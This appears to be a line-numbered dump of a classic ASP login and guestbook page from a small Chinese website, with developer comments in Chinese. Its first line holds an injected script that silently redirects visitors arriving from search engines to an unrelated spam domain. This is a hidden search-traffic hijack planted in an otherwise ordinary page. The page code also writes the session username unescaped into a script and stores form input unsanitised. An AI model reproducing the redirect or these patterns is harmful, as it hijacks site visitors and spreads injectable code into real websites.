d:\wwwroot\wuchunhua\zhuce\index.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><a href="http://www.1z88.com">回首页</a>
002:
003:
<!--#include file="chkpwd.asp"-->
004:
<!--一打开主页index就运行chkpwd。asp其实就是主页的内容。里面包括链接数据库和function检查md5.要添加不检查md5就是检查password_mingwen也可以通过即可，就是不要显示“m密码不正确”
005:
实际上主页就是第1行:显示这个checkpassword，看你登陆了没有？登陆的界面-->
006:
007:
<!--chkpwd.asp包含了conn。asp链接到数据库。实际上主页就是第1行:显示这个checkpassword，看你登陆了没有？登陆的界面.他包含了conn。asp链接数据库和inc目录下面的md5。asp（十分复杂有350行10000代码）检查和function。asp（只有几行）
008:
include file="conn.asp和include file="inc/function.asp和include file="inc/md5.asp和链接和function是设置密码 -->
009:
010:
011:
<center>
012:
<%
013:
'如果session的passed是真的就是登录成功，显示欢迎光临和登录记录和用户名字待修改资料等等，否则不显示（不是返回去）
014:
if Session("Passed")=True then
015:
response.write "<h2 align='center'>一直发发网站1z88.com用户管理及用户登陆系统"
016:
response.write "</h2>"
017:
response.write "登陆成功，已经将您的登录记录存入数据库，<h1>用户[" & Session("username") & "]<h1>，欢迎光临一直发发网站1z88.com<br><br><br>"
018:
019:
response.write "<script>alert('您的登录记录为!用户名字:" & Session("username") & "，密码正确');</script>"
020:
'我添加：您的登录记录为：
021:
022:
if Session("admin")=1 then
023:
response.write "<a href='http://www.1z88.com/liuyan/board/index.asp'>登录记录列表</a> <a href='http://www.1z88.com/模拟炒股/login.asp'>模拟炒股（每月1000快快币奖励，冠军公布操作计划或者有偿带徒弟操作，上证指数多空比赛上证指数涨幅.asp待改）</a> <a href='userlist.asp'>管理界面</a> <a href='useredit.asp?username=" & session("username") & "'>修改资料</a> <a href='index.asp?out=ok'>退出 重新登陆</a>"
024:
else
025:
response.write "<a href='useredit.asp?username=" & session("username") & "'>修改资料</a> <a href='index.asp?out=ok'>退出 重新登陆</a>"
026:
end if
027:
end if
028:
%
>
029:
030:
031:
<%
032:
'下面：最后是将前一个页面的数据全部存入到liuyan的数据库。前面的conn.asp已经定义了 ，不能用Microsoft VBScript 编译器错误 错误 '800a0411'
033:
'名称重定义：Dim conn
034:
035:
'初始化数据库连接
036:
DB="../liuyan/Board/database/BOARD.mdb"
037:
Set conn = Server.CreateObject("ADODB.Connection")
038:
conn.ConnectionString = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(DB)
039:
'打开数据库连接
040:
conn.Open
041:
042:
'变量分析 获得：| 将表单提交过来的内容赋给变量，注意上一步表单的命名不要写错
043:
'USERNAME=Session("username")
044:
'SUBJECT=request.form("subject")
045:
'contents=request.form("contents")
046:
047:
'------------------------------将内容插入到留言的liuyan的liuyan\Board\database\BOARD.mdb 的DIGITALNOTE表----不能用name是系统保留字母---------------------
048:
' exec="insert into DIGITALNOTE(USERNAME)values(＇"+USERNAME+"＇)"
049:
'这一段错误：至少 1个变量无法存入： conn.execute exec
050:
051:
'将留言保存到数据库中
052:
Set rs=Server.CreateObject("ADODB.RecordSet")
053:
054:
'从数据库中查询留言记录
055:
sql="SELECT * FROM DIGITALNOTE WHERE ID IS NULL"
056:
057:
'执行查询操作，并将结果保存在rs 中
058:
rs.open sql,conn,1,3
059:
'添加一条记录
060:
rs.AddNew
061:
062:
'留言用户ID号 改为名字？
063:
rs("USERID")=Session("username")
064:
'留言内容
065:
rs("CONTENTS")=Request.Form("Contents")
066:
'IP 地址
067:
rs("IP")=Request.ServerVariables("REMOTE_ADDR")
068:
'留言主题
069:
rs("SUBJECT") = Request.Form("subject")
070:
071:
'更新数据库
072:
rs.Update
073:
074:
'关闭RecordSet 对象
075:
rs.Close
076:
Set rs=Nothing
077:
078:
'提交成功，给出提示，并返回到留言查看界面
079:
'删除：因为一直循环弹出来 关不掉。Response.Write "<script>alert('留言提交成功，单击“确定”返回留言列表！');location.href='index.asp';</script>"
080:
'Response.End
081:
082:
083:
conn.close
084:
set conn=nothing
085:
'| 别忘记关闭数据库
086:
%
>
087:
<%
="记录添加到管理员留言LIUYAN成功!"
%
>
088:
089:
</center>
090:
</body>
091:
</html>
092:
093: